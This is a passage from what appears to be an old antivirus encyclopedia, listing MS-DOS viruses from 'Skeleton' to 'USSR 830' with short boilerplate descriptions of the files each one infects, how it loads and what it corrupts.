The Skeleton Virus is an encrypted computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Skew 469 Virus

The Skew 469 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Skism 808 Virus

The Skism 808 Virus is an encrypted computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Skism Virus

The Skism Virus is a computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Slant Virus

The Slant Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Slayer Virus

The Slayer Virus is a computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an

infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Slovak Virus

The Slovak Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Slow Virus

The Slow Virus is an encrypted computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Sluknov Virus

The Sluknov Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Sma-108a Virus

The Sma-108a Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts data files.

Small 129 Virus

The Small 129 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Small 132B Virus

The Small 132B Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Small 146 Virus

The Small 146 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Small 157 Virus

The Small 157 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Small 178 Virus

The Small 178 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Small 185 Virus

The Small 185 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Small 187 Virus

The Small 187 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Small Experiment Virus

The Small Experiment Virus is a computer virus which infects .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Small Virus

The Small Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program. The
virus corrupts program or overlay files and data files.

Small-38 Virus

The Small-38 Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program or overlay
files.

Smallarc Virus

The Smallarc Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts data files.

Smallexe Virus

The Smallexe Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program or overlay
files.

Smell Virus

The Smell Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Smily Virus

The Smily Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Smithsonian Virus

see "Stoned_Virus"

Snafu Virus

The Snafu Virus is a computer virus which infects the fixed disk
partition table. The virus is loaded into memory by booting from an
infected disk. The virus corrupts program or overlay files.

So Virus

The So Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Socha Virus

The Socha Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Solano Virus

The Solano Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program or overlay
files.

Something Virus

The Something Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Sonik Youth Virus

The Sonik Youth Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Sorlec 3/4 Virus

The Sorlec 3/4 Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files.

Sorlec 5 Virus

The Sorlec 5 Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Sorry Virus

The Sorry Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Soupy Virus

The Soupy Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Sov Virus

The Sov Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Soyun Virus

The Soyun Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Spanish April Fool Virus

The Spanish April Fool Virus is a computer virus which infects .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Spanish Virus

The Spanish Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files.

Spanz Virus

The Spanz Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
data files.

Spar Virus

The Spar Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Spyer Virus

The Spyer Virus is a computer virus which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

SQR Virus

The SQR Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Squawk Virus

The Squawk Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files.

Squeaker Virus

The Squeaker Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files.

Squisher Virus

The Squisher Virus is a computer virus which uses stealth techniques
to avoid detection and which infects .COM files including COMMAND.COM.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

SRE Virus

The SRE Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Staf Virus

The Staf Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Stahl Platte Virus

The Stahl Platte Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Stamford Virus

The Stamford Virus is a computer virus which infects the fixed disk
and diskette boot sectors . The virus is loaded into memory by booting
from an infected disk and then affects the computer's runtime
operation and corrupts program or overlay files.

Star Dot Virus

The Star Dot Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program. The
virus corrupts program or overlay files and data files.

Star Dot Virus

The Star Dot Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program or overlay
files.

Stardot-801 Virus

The Stardot-801 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Starship Virus

The Starship Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Stasi Virus

The Stasi Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Stealth Boot B Virus

The Stealth Boot B Virus is a computer virus which uses stealth techniques to avoid detection and which infects the diskette boot sector. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Stealth Boot Virus

The Stealth Boot Virus is a computer virus which uses stealth techniques to avoid detection and which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Sticky Virus

The Sticky Virus is an encrypted computer virus which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts data files.

Stink Virus

The Stink Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Stink2 Virus

The Stink2 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Stone-90 Virus

The Stone-90 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Stoned Virus

The Stoned Virus (also called the New Zealand Virus, Marijuana Virus, San Diego Virus and Smithsonian Virus) is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Storm Virus

The Storm Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Stranger Virus

see "Screaming_Fist_Virus"

Striker Virus

The Striker Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Stupid Virus

The Stupid Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Subliminal Virus

The Subliminal Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Suicidal Virus

The Suicidal Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Suicide Virus

The Suicide Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Sunday Virus

The Sunday Virus is a computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Sunday-2 Virus

The Sunday-2 Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory

by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Sundevil Virus

The Sundevil Virus is a computer virus which infects the diskette boot sector. The virus is loaded into memory by booting from an infected disk. The virus corrupts program or overlay files.

Suriv 402 Virus

The Suriv 402 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Suriv A Virus

The Suriv A Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Suriv B Virus

The Suriv B Virus is a computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Surrender Virus

The Surrender Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Susan Virus

The Susan Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

SVC 5.0/6.0 Virus

The SVC 5.0/6.0 Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Sverdlov Virus

The Sverdlov Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

SVir Virus

The SVir Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay

files.

Swap Boot Virus

The Swap Boot Virus is a computer virus which infects the diskette
boot sector. The virus is loaded into memory by booting from an
infected disk and then affects the computer's runtime operation and
corrupts program or overlay files.

Swiss 143 Virus

The Swiss 143 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files and data files.

Swiss Phoenix Virus

The Swiss Phoenix Virus is an encrypted computer virus which infects
.COM and .EXE files including COMMAND.COM. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation, corrupts program or overlay files.

SX Virus

The SX Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Sylvia Virus

The Sylvia Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program or overlay
files.

Sys Virus

The Sys Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects .COM, .EXE and overlay
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files and data files.

Syslock/3551 Virus

The Syslock/3551 Virus is an encrypted computer virus which infects
.COM and .EXE files. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

T-1 Virus

The T-1 Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

T-series Virus

The T-series Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or

overlay files.

T297 Virus

The T297 Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Tabulero 2 Virus

The Tabulero 2 Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program. The
virus corrupts program or overlay files and data files.

Tabulero Virus

The Tabulero Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program. The
virus corrupts program or overlay files and data files.

Taiwan Virus

The Taiwan Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Taiwan3 Virus

The Taiwan3 Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files and data files.

Taiwan4 Virus

The Taiwan4 Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files and data
files.

Taocheng Virus

The Taocheng Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Techno Virus

The Techno Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Tecla Virus

The Tecla Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Telecom Boot Virus

The Telecom Boot Virus is an encrypted computer virus which infects
the fixed disk partition table. The virus is loaded into memory by
booting from an infected disk and then affects the computer's runtime
operation and corrupts program or overlay files.

Telecom File Virus

The Telecom File Virus is an encrypted computer virus which infects
.COM files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files and data files.

Telekom Virus

The Telekom Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Teletype Virus

The Teletype Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Teletype-2 Virus

The Teletype-2 Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Tequila Virus

The Tequila Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects the fixed disk
partition table. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Terror Virus

The Terror Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files.

Tester Virus

The Tester Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

The Funky Bob Ross Virus

The Funky Bob Ross Virus is an encrypted computer virus written by
Dark Angel of the Phalcon/Skism organisation. It infects .COM files,
including COMMAND.COM increasing the infected file's length by 1117
bytes . The virus activates on July 9th of any year or after 7

infections going memory resident and displaying a message every 5
minutes . It then enters a delay loop for approximately 5 seconds .
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program
files.

Thursday 12th Virus

The Thursday 12th Virus is a computer virus which infects .COM and
.EXE files. The virus is loaded into memory by executing an infected
program. The virus corrupts program or overlay files and data files.

Tim Virus

The Tim Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

TimeMark Virus

The TimeMark Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program. The
virus corrupts program or overlay files and data files.

Timid 290 Virus

The Timid 290 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Timid 371 Virus

The Timid 371 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Timid 382 Virus

The Timid 382 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Timid 431/402 Virus

The Timid 431/402 Virus is a computer virus which infects .COM, .EXE
and overlay files including COMMAND.COM. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation and corrupts program or overlay files.

Timid 557 Virus

The Timid 557 Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Timid Virus

The Timid Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected

program and then affects the computer's runtime operation, corrupts
program or overlay files.

Timid-LM Virus

The Timid-LM Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Timid305 Virus

The Timid305 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Tiny 133 Virus

The Tiny 133 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Tiny 212 Virus

The Tiny 212 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Tiny Virus

The Tiny Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

TMTM Virus

The TMTM Virus is an encrypted computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts data files.

Today Virus

The Today Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Todor Virus

The Todor Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Tokyo Virus

The Tokyo Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program or overlay

files.

Tomato Virus

The Tomato Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Tongue Virus

The Tongue Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts data files.

Tony Virus

The Tony Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Tonya Virus

The Tonya Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Tonya2 Virus

The Tonya2 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Topo Virus

The Topo Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Torino virus Virus

The Torino virus Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Toys Virus

The Toys Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

TP Virus

The TP Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or

overlay files.

TPE

The Trident Polymorphic Engine (TPE) is a polymorphic encryption system used within a number of computer viruses to generate different looking offspring. Before the virus infects a file, it uses TPE to encrypt itself and then writes the encrypted code, which is different everytime, to the file to be infected.

Traceback Virus

The Traceback Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Traveller Virus

The Traveller Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Tremor2 Virus

The Tremor2 Virus is an encrypted computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

TridenT Virus

The TridenT Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Triple Shot Virus

The Triple Shot Virus is a computer virus which infects overlay files. The virus is loaded into memory by executing an infected program.

Troi Two Virus

The Troi Two Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Troi Virus

The Troi Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Tschantches Virus

The Tschantches Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

TU-482 Virus

The TU-482 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Tuesday Virus

The Tuesday Virus is a computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Tula Virus

The Tula Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Tumen V0.5 Virus

The Tumen V0.5 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Tumen V2.0 Virus

The Tumen V2.0 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Tumen Virus

The Tumen Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Turbo Virus

The Turbo Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Turkey Virus

The Turkey Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Tver Virus

The Tver Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Twin Peaks Virus

The Twin Peaks Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Twin-351 Virus

The Twin-351 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Typo Boot Virus

The Typo Boot Virus is a computer virus which infects the fixed disk and diskette boot sectors . The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

Typo/Fumble/712 Virus

The Typo/Fumble/712 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Ucender Virus

The Ucender Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Ugur Virus

The Ugur Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Unk Virus

The Unk Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Uriel Virus

The Uriel Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Uruk 300 Virus

The Uruk 300 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Uruk 361 Virus

The Uruk 361 Virus is a computer virus which infects .COM files

including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Uruk-Hai Virus

The Uruk-Hai Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

USSR 1049 Virus

The USSR 1049 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

USSR 2144 Virus

The USSR 2144 Virus is an encrypted computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

USSR 256 Virus

The USSR 256 Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

USSR 257 Virus

The USSR 257 Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

USSR 3103 Virus

The USSR 3103 Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

USSR 311 Virus

The USSR 311 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

USSR 394 Virus

The USSR 394 Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

USSR 492 Virus

The USSR 492 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

USSR 516 Virus

The USSR 516 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

USSR 600 Virus

The USSR 600 Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

USSR 696 Virus

The USSR 696 Virus is an encrypted computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

USSR 707 Virus

The USSR 707 Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

USSR 711 Virus

The USSR 711 Virus is an encrypted computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

USSR 830 Virus

